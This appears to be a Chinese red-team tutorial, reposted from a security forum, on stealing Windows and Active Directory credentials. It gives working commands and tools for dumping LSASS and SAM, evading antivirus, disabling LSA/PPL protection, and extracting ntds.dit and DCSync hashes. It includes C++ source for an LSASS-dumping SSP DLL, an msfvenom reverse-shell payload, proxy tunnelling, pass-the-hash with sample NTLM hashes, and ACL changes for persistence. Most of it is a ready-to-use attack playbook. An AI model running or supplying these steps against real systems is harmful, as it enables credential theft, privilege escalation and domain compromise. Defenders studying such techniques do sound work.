原文首发在:奇安信攻防社区
https://forum.butian.net/share/3653
在内网渗透中当我们得到一台高权限用户的身份时,就可以抓取到当前机器上的各类密码。虽然任务要求是导出域hash的方式,但在内网渗透中,获取当前机器的hash也有可能获取到域用户的hash,因此这里也分析一下如何获取当前机器的明文密码。
获取当前机器的明文密码
在导出域hash之前,我们可以先尝试导出当前机器的本地的hash密码,如果域用户之前在这台机器上进行登陆操作的话,可以直接获取到域用户甚至域管理员的账号。
在Windows操作系统上,sam数据库(C:WindowsSystem32configsam)里保存着本地用户的hash。
在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。
因此,在这里我们可以考虑两种方式进行抓取当前机器的hash:在线工具提取,离线分析提取。
注意:在windows 10 2012r2之后的系统版本中,默认情况下已禁用在内存缓存中存系统用户明文密码,此时再直接使用mimikatz去抓明文,肯定是抓不到的。密码字段位会直接显示为null。
这里我们手动修改注册表让其保存明文,方便我们进行抓取。(修改后需要注销用户再登陆)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz
mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。
下载地址:https://github.com/gentilkiwi/mimikatz
1.通过注册表抓取hash
命令行执行,获取当前系统注册表的SAM、SYSTEM文件(需要本地的管理员权限)
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
获取到文件后可以下载到攻击者本机,离线使用mimikatz分析提取hash。
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" "exit"
这个方法只能获取到保存在SAM文件中的本地用户的账户
2.上传mimikatz进入目标靶机,在线提取本地SAM文件保存的账户hash值
privilege::debug
token::elevate
lsadump::sam
3.从lsass.exe的内存中提权hash
mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit"
发现使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。
pwdump7
直接运行PwDump7.exe即可
WEC
上传到目标靶机添加参数直接运行即可。
-l 列出登录的会话和NTLM凭据(默认值) -s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希> -r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次 -c 用一个特殊的NTML凭据运行一个新的会话 参数: -e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次 -o 保存所有的输出到一个文件 参数:<文件名> -i 指定一个LUID代替使用当前登录会话 参数: -d 从登录会话中删除NTLM凭据 参数: -a 使用地址 参数: <地址> -f 强制使用安全模式 -g 生成LM和NT的哈希 参数<密码> -K 缓存kerberos票据到一个文件(unix和windows wce格式) -k 从一个文件中读取kerberos票据并插入到windows缓存中 -w 通过摘要式认证缓存一个明文的密码 -v 详细输出
laZagne
下载地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all
SharpDump
https://github.com/GhostPack/SharpDump
直接编译即可
./Sharpdump
LsassSilentProcessExit
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。
主要使用LsassSilentProcessExit这个api,通过修改注册表 远程进程注入的方式转储内存,相关的注册表键值:
#define IFEO_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数:
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);
但是由于需要修改注册表,因此几乎无法绕过杀软环境。
LsassSilentProcessExit.exe 616 0
在敏感的环境下转储lsass进程的方式
无文件上传使用powershell导出
https://blog.csdn.net/chenfeng857/article/details/120126818
https://xz.aliyun.com/t/12157#toc-9
comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。
在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态
如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。
但是,在管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。
首先查看lsass.exe进程PID
tasklist | findstr lsass.exe
rundll32.exe comsvcs.dll MiniDump PID Path full
rundll32.exe comsvcs.dll MiniDump 1096 C:\Users\16229\Desktop\1.dmp full
直接运行的话有可能会被杀软拦截。
一个简单的绕过思路:
copycomsvcs.dll到不敏感的目录,并随机命名,例如test.dll
copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe C:\Users\16229\Desktop\code_java\test.dll MiniDump 1096 C:\Users\16229\Desktop\code_java\3.dmp full
拖到本地使用mimikatz进行分析即可。
mimikatz.exe log "sekurlsa::minidump 2.dmp" "sekurlsa::logonPasswords full" exit
在开启runasppl的环境下
https://www.freebuf.com/articles/system/332506.html
https://xz.aliyun.com/t/12157#toc-19
mimikatz
在开启PPL保护的情况下,即使是管理员也无法打开lsass进程。
mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit"
Mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是该命令sekurlsa::logonpasswords失败并出现错误代码0x00000005,从minikatz代码kuhl_m_sekurlsa_acquireLSA()函数中我们可以简单了解为
代码语言:javascript复制HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
}
else {
PRINT_ERROR_AUTO(L"Handle on memory");
}
使用process explorer打开lsass进程查看,显示拒绝访问。
在Mimikatz中使用数字签名的驱动程序来删除内核中 Process 对象的保护标志
minikatz安装驱动程序
privilege::debug
!
删除保护
!processprotect /process:lsass.exe /remove
然后就可以dump密码了
sekurlsa::logonpasswords
使用工具查看发现保护已经被删除了
mimikatz.exe "privilege::debug" "! " "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"
PPLKILLER
https://www.cnblogs.com/revercc/p/16961961.html
https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10/
优先级区别:PP 可以以完全访问权限打开 PP 或 PPL,只要其签名者级别大于或等于;一个 PPL 可以打开另一个具有完全访问权限的 PPL,只要其签名者级别大于或等于;无论签名者级别如何,PPL 都无法以完全访问权限打开 PP。
在开启PPL的情况下,只有运行在较高保护级别的进程才能对受保护进程进行操作。 Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程,它包括一个 _PS_PROTECTION 字段,通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。
代码语言:javascript复制typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
虽然它表示为结构体,但所有信息都存储在单个字节的两个半字节中(Levelis a UCHAR,即 an unsigned char)。前 3 位表示保护Type(见PS_PROTECTED_TYPE下文)。它定义该进程是 PP 还是 PPL。最后 4 位表示Signer类型(见PS_PROTECTED_SIGNER下文),即实际的保护级别。
代码语言:javascript复制typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
如果我们要绕过 LSA 保护,可以通过修补 EPROCESS 内核结构来禁用 LSASS 进程上的 PPL 标志。为此,我们需要找到 LSASS EPROCESS 结构的地址,并将 5 个值:SignatureLevel、SectionSignatureLevel、Type、Audit 和 Signer 修补为零。
EnumDeviceDrivers 函数可用于泄漏内核基地址。这可用于定位 PsInitialSystemProcess,它指向系统进程的 EPROCESS 结构。由于内核将进程存储在链表中,因此可以使用EPROCESS结构的ActiveProcessLinks成员来迭代链表并查找LSASS。
查看 EPROCESS 结构,我们可以看到我们需要修补的 5 个字段都按惯例对齐为连续的 4 个字节。这让我们可以在单个 4 字节写入中修补 EPROCESS 结构,如下所示:
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress SignatureLevelOffset, 0x00);
找到地址后将这四个字节的值修补为零即可。
PPLKiller.exe /installDriver
tasklist | findstr lsass.exe
PPLKiller.exe /disablePPL 688
如果遇到内核版本不同导致程序无法正确修补四个字节,可以找到相同版本的机器,通过windbg调试查看lsass内核地址 。
bcdedit /debug on
srv*https://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
dt _eprocess
找到地址0x6c0,将脚本修改再进行编译即可。
PPLdump
https://itm4n.github.io/the-end-of-ppldump/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
PPLdump是一个用 C/C 编写的工具,它实现了用户态漏洞利用,以管理员身份将任意代码注入 PPL。该技术是 Alex Ionescu 和 James Forshaw 对受保护进程(PP 和 PPL)进行深入研究的众多发现之一。
PPLdump的工作原理如下:
- 调用API来诱骗 CSRSS 服务创建指向任意位置的DefineDosDevice符号链接。KnownDlls
- 创建一个新的Section对象(由前面的符号链接指向)来托管包含我们要注入的代码的自定义DLL的内容。
- 作为 PPL 运行的可执行文件导入的 DLL 被劫持并执行我们的代码。
这里要记住的最重要的事情是,整个漏洞利用依赖于 PPL 中存在的弱点,而不是 PP 中存在的弱点。事实上, PPL 可以从目录加载 DLLKnownDlls,而 PP 总是从磁盘加载 DLL。这是一个关键的区别,因为仅在最初从磁盘读取 DLL 以创建新的 Section 对象时才检查 DLL 的数字签名。当它被映射到进程的虚拟地址空间时,不会再检查它。
PP(L) 模型有效地防止未受保护的进程访问具有扩展访问权限的受保护进程,OpenProcess例如。这可以防止简单的内存访问,但是我没有提到这种保护的另一个方面。它还可以防止这些进程加载未签名的 DLL。这是有道理的,否则整体安全模型将毫无意义,因为您可以使用任何形式的 DLL 劫持并将任意代码注入您自己的 PPL 进程。这也解释了为什么在启用LSA保护时要特别注意第三方认证模块。
但这一规则有一个例外!这或许就是PP和PPL最大的区别所在。如果您了解 Windows 上的 DLL 搜索顺序,您就会知道,当创建一个进程时,它首先会遍历“已知 DLL”列表,然后继续遍历应用程序目录、系统目录等......搜索顺序中,“已知 DLL”步骤是一个特殊的步骤,通常会从 DLL 劫持漏洞的等式中删除,因为用户无法控制它。不过,在我们的例子中,这一步恰恰是 PPL 流程的“致命弱点”。
“已知 DLL”是 Windows 应用程序最常加载的 DLL。因此,为了提高整体性能,它们被预加载到内存中(即被缓存)。如果您想查看“已知 DLL”的完整列表,您可以使用WinObj并查看KnownDlls对象管理器中目录的内容。
如果在PP保护的情况下加载DLL,每个文件的数字签名都需要经过验证,因此在较新的win10/server2022/win11(大约2022.7更新)的版本中,已经无法使用PPLdump,因为ppl程序于pp程序一样从磁盘直接加载dll。
ppl保护的程序会从Known DLLs先查找,如果我们可以控制Known DLLs中的dll,就可以实现dll劫持的功能,进而达到在lsass的程序空间中执行代码的效果。
利用原理:
1.向Known DLLs中添加一个DLL,加载该DLL的进程,要满足被PPL保护且等级高于PsProtectedSignerLsa,比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能,工具作者找到的进程为services.exe,被hook的dll为EventAggregation.dll;
2.以新建一个内核对象,该内核对象为一个符号链接,指向我们的恶意dll的section,而并非dll文件。我们可以使用NtCreateSection获得Section对象,但需要dll文件落地。
3.挟持DLL执行命令DUMP出lsass内存。
PPLdump.exe -v 648 1.dmp
在卡巴斯基的环境下
https://www.jianshu.com/p/00d70dc76678
使用国外大佬XPN使用RPC控制lsass加载SSP的代码,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。 (1)添加如下代码
pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)
(2)将.c文件后缀改成.cpp (使用了c 代码,需要更改后缀) (3) 编译时选择x64 (XPN大佬提供的是64位代码)
静态编译和动态编译是两种不同的编译方式,它们在编译和运行阶段的行为有所不同。
- 静态编译:
- 静态编译是指在编译阶段将程序所依赖的库和资源全部打包到可执行文件中。
- 在编译时,链接器会将所有必要的代码和库函数合并到最终的可执行文件中。
- 在运行时,不需要外部的依赖,可执行文件可以直接在目标系统上运行。
- 可执行文件相对较大,但不需要额外的依赖性,并且可以独立于目标系统。
- 动态编译:
- 动态编译是指在编译阶段只生成程序的部分代码,依赖的库和资源在运行时通过动态链接加载。
- 在编译时,只生成程序的框架,不包含具体的库函数的实现。
- 在运行时,程序会通过动态链接器根据需要加载依赖的库函数。
- 可执行文件相对较小,但在运行时需要依赖目标系统上存在相应的共享库文件。
区别总结:
- 静态编译将所有依赖打包到可执行文件中,不依赖外部库,可执行文件相对较大,但独立于目标系统。
- 动态编译在运行时加载依赖的库函数,可执行文件相对较小,但需要目标系统上存在相应的共享库。
- 静态编译适合需要独立执行、移植性要求较高或资源受限的场景。
- 动态编译适合需要灵活依赖库和方便更新的场景。
使用静态编译,防止不同的环境导致无法运行。
使用Release方式,防止生成文件过大。
然后用生成的exe,加载dump内存的dll文件,这里使用的是奇安信A-team团队公布的源码,并在基础上,增加了自动获取lsass的PID号功能,无需每次使用重复编译。
代码语言:javascript复制#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef DWORD(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
SSP_RPC.exe C:Users16229Desktopssp_rpcDLL_SSP.dll
然后拖入本地使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.bin" "sekurlsa::logonPasswords full" exit
签名/白名单文件Dump
任务管理器
点击转储文件即可,再将.DMP文件拖入本地使用mimikatz分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
SqlDumper
SqlDumper是有微软签名的,在安装了Sql Server服务的机器中直接会带有该工具。
<SQLServerInstall Drive>:\Program Files\Microsoft SQL Server\{number}\Shared\SQLDumper.exe
tasklist /svc | findstr lsass.exe
查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100
导出mdmp文件
对于生成的文件,拖回本地使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
procdump
procdump是微软官方发布的工具,使用该工具可以把Isass的内存dump下来。因为是微软发布的工具,因此可以绕过大多数的防护软件。
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
首先也需要将procdump.exe上传到目标靶机
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
在当前目录生成文件lsass.dmp
再使用mimikatz来分析抓取hash
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
createdump
这个工具也是具有微软签名的。
createdump.exe随着.NET5出现的,本身是个native binary
虽然createdump.exe是随着.NET5出现的,但因为它是native binary,所以执行时并不需要依赖.NET5的环境
createdump.exe -u -f lsass.dmp <lsass pid>
ProcExp
双击打开即可
这里一共有两种转储方式
miniDump:
应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。
full dump:
全部的转储文件。
导出后拖入本地机器使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
AvDump
AvDump.exe是杀软Avast自带的一个程序,该程序可以用来dump进程的内存,拥有Avast的签名
.\AvDump.exe --pid 612 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file l.dmp --min_interval 0
注意:需要在powershell的环境下执行命令。
导出后拖入本地机器使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
DumpMinitool
该工具来自vs2022,可以自行安装Visual Studio2022,然后访问路径,把工具拖出来使用即可。
DumpMinitool.exe --file 9.dmp --processId 612 --dumpType Full
获取域hash值
前面提到了抓取当前机器的明文密码,在内网域环境中,最终的目标就是获取域控权限,因此,域中hash才是重中之重。
和本地用户的SAM文件相同,域内的hash存储在一个文件NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%ntdsNTDS.DIT。这里面包含的不只是Username和HASH,还有OU、Group等信息。
总结来说,获取域hash一共有三个方式
1.利用dcsync功能获取域hash(可在域成员主机)
2.利用域控自带的服务ntdsutil.exe,生成ntds.dit文件快照,然后离线分析导出hash(需在域控主机下)
3.利用卷影拷贝服务拷贝C盘,进行导出ntds.dit(需在域控主机下)
利用dcsync功能来获取域内用户的hash
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。(权限维持,通过对域内普通用户添加DCSync权限,达到权限维持的作用)
Mimikatz
通过mimikatz获取域用户hash。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。
privilege::debug
lsadump::dcsync /domain:vvvv1.com /all /csv
lsadump::dcsync /domain:vvvv1.com /user:test
Invoke-DCSync
Invoke-DCSync是一个基于powershell的脚本。
Powershell -ExecutionPolicy Bypass
Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
提取NTDS.DIT,SAM和SYSTEM文件
注意,如果不是使用dcsync功能进行提取域内用户hash,导出NTDS.DIT必须要在域控下进行。
https://zhuanlan.zhihu.com/p/464067739
secretsdump
使用impacket工具包中的secretsdump来导出散列
python3 secretsdump.py VVVV1/admins:User\!@#45@10.10.10.10
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2
Nishang
Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合,并被广泛应用于渗透测试的各个阶段。
Nishang中的Copy-VSS脚本可用于自动化的提取需要的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被提取到当前的工作目录或你指定的文件夹中。通过生成现有的ntds.dit文件快照,来导出ntds.dit文件。
Powershell -ExecutionPolicy Bypass
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\ (指定文件夹输出)
提取成功后可以利用mimikatz来进行导出文件中的hash密码
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" "exit"
Ntdsutil
ntdsutil是一个命令行工具,是域控制器生态系统的一部分,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。
ntdsutil是域控自带的一个软件,可以用来导出ntds.dit,前提是登陆到域控机器。(在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:WindowsNTDSntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。)
ntdsutil.exe
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
作用是建立ntds.dit文件快照,并且导出到文件夹中,便于离线分析。
生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。
当然,也可以直接生成C盘的卷影副本。
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
装载后就可以直接在C盘根目录进行访问。
直接复制ntds.dit
copy C:\\SNAP_202308231044_VOLUMEC\windows\NTDS\ntds.dit c:\ntds.dit
或者远程复制
copy \\10.10.10.10\C\SNAP_202308231044_VOLUMEC
卸载快照
ntdsutil snapshot "unmount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
删除快照
ntdsutil snapshot "delete {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
NTDSDump
导出了NTDS.DIT和SYSTEM文件后该如何离线分析呢?
这里使用工具NTDSDUMP来进行离线分析导出域内用户hash值
NTDSDumpEx.exe -d ntds.dit -s SYSTEM
vssadmin
vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
1.创建一个C盘的卷影拷贝。
vssadmin create shadow /for=C:
2.然后在创建的卷影拷贝中将ntds.dit和SYSTEM复制到C盘中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
3.最后将刚刚创建的卷影拷贝删除即可
vssadmin delete shadows /for=c: /quiet
esentutl
esentutl /y /vss C:\Windows\System32\config\SAM /d C:\Users\16229\Desktop\SAM
// /vss 生成对应的卷影副本
对于远程使用卷影副本的总结:
对于目前的工具貌似并没有可以直接远程生成目标主机的卷影副本的方法,但是可以通过间接的方式远程生成卷影副本并导出所需文件。
比如首先远程使用计划任务,执行生成卷影副本等命令,然后用过copy远程复制回本地进行分析。
模拟渗透场景进行导出域hash
这里我们主要使用两个集成工具进行操作:Metasploit和coablt_strike
Metasploit
边界主机web-2012
kali:
在当前的网络环境下,我们只能访问到边界主机web-2012,无法访问到域内网的环境。
这里我们使用直接生成msf的木马,直接上传到边界主机(由于靶机还未搭载任何服务,因此直接进行上传木马开始内网渗透)
kali执行命令生成木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.164 LPORT=1234 -f exe -o shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 1234
set lhost 192.168.126.164
边界主机运行上传的木马:
发现会话已经反弹到kali
查看信息,发现该主机存在双网卡
查看一波信息,发现我们拿到的用户权限为本地的管理员权限
发现无法访问域内资源
加载msf中的mimikatz模块导出hash
进行进程迁移到system权限
migrate [PID]
load kiwi #加载kiwi模块
creds_all #列举所有凭据
kiwi_cmd sekurlsa::logonpasswords #使用mimikatz的全部功能
该方式是从lsass.exe的内存中提权hash,可以使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。
发现我们抓取到域用户的账户,使用RDP登陆查看或者使用Psexec进行登陆
(注意需要目标主机开启远程管理服务)
定位域控
net group "Domain Controllers" /domain
发现可以访问域控的资源,为高权限域用户。
接下来可以使用dcsync功能来进行获取域内用户hash,或者通过代理隧道登陆域控主机直接导出ntds.dit
1.使用dcsync功能
导入mimikatz
lsadump::dcsync /domain:vvvv1.com /all /csv
2.通过代理隧道登陆域控主机直接导出ntds.dit
使用代理工具stowaway
控制端:
上传控制端到kali, 使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接
./linux_x64_admin -l 192.168.126.164:2222 -s 123
被控制端:
windows_x64_agent.exe -c 192.168.126.164:2222 -s 123 --reconnect 8
设置socks5代理端口为7777,且账号密码为admin/admin
socks 7777 admin admin
本机使用Proxifier进行连接socks代理
如果不适用代理,无法连接内网地址
代理成功后,发现可以远程连接内网主机
使用ntdsutil导出ntds.dit和STSTEM文件
ntdsutil.exe
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
将ntds.dit和STSTEM文件拖到本地,使用NTDSDumpEx.exe进行分析导出域内用户hash即可
coablt_strike
设置监听器
生成一个exe上传到目标主机运行。
3
目标主机上线cs
登陆的机器为边界主机,拥有双网卡
当前用户的权限为administrator
使用插件进行提权,发现成功获取到system权限
查询域内信息,发现域控名为AD-2016
使用当前SYSTEM权限访问域内信息,发现只是低权限的域用户,无法访问到域控的资源
使用net veiw探测网络情况
直接run mimikatz
可以看到跑出一共域用户admins
对探测出的网络用户,使用凭据进行密码喷洒
注意使用psexec需要SMB建立监听器
成功上线所有的机器
使用域控的会话,在LSTAR插件中导出域内用户hash
获取到域内所有用户的hash。
VPN模式和socks代理模式使用dcsync导出域hash
VPN环境
在VPN中可以随意导出域hash
首先进行hash传递为用户添加导出dcsync的权限。
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
EXCHANGE-2016$ :a377e26f4118ba88ce1af6a4f8ac9daf
使用mimikatz进行hash传递攻击。
privilege::debug
sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23
sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d
经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限
lsadump::dcsync /domain:vvvv1.com /all /csv
经过测试,添加这两项的用户可以进行具有dcsync权限。
查询具有dcsync权限的用户
AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl -sddlfilter ;;;"Replicating Directory Changes";; -recmute
使用命令行给用户添加dcsync权限
通过加载Powershell渗透框架下的PowerView.ps1脚本实现。
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。
但是域管理员账户是拥有授予其他人dcsync服务的权限。
发现man03已经被添加dcsync权限了。
删除man03的dcsync权限
Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
发现已经删除
查询用户权限
Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
使用mimikatz进行hash传递攻击。
privilege::debug
sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23
